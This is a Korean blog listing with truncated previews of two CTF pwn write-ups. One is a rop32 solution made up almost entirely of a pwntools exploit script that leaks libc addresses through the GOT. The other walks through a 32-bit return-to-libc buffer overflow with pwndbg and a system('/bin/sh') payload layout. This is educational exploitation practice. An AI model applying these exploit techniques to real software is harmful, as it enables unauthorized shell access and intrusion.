gadget(2)
-
여러가지 ROP 문제 풀이
- rop32 풀이 from pwn import * p=remote('sunrin.site', 9003) e=ELF('./rop32') libc=ELF('./libc.so.6.rop32') read=libc.symbols['read'] read_got=e.got['read'] read_plt=e.plt['read'] main=e.symbols['main'] system=libc.symbols['system'] bss=e.bss() printf_plt=e.plt['printf'] pr=0x0804855b payload='A'*0x3a+'B'*4 payload+=p32(printf_plt)+p32(pr)+p32(read_got) payload+=p32(read_plt) payload+=p32(main)+p3..
2021.08.01 -
Pwndbg 동적 디버깅으로 RTL 32bit, RTL 64bit 풀기 - Ubuntu Linux
- RTL 32bit 풀이 이 문제에서는 아래와 같이 rtl32_1이라는 실행파일이 주어집니다. memset() 함수로 buf를 정리해주고, printf()로 "Input me : "라는 문자열을 출력해줍니다. 다음 줄에서 read() 함수로 0x58(10진수로 88)만큼 buf를 입력받습니다. 그런데 위에서 선언된 buf를 보면 크기가 0x48(10진수로 72)이므로, 이 부분에서 BOF가 일어난다는걸 알 수 있습니다. payload를 구상해보면 'a'를 buf 크기(0x48)만큼 + sfp 4 + system + dummy 4 + /bin/sh 정도로 구성 될 것 같습니다. system과 /bin/sh를 어떻게 실행시켜야할까....하고 고민하다가 IDA로 파일 안에 있는 모든 문자열을 열어보았습니다...
2021.07.19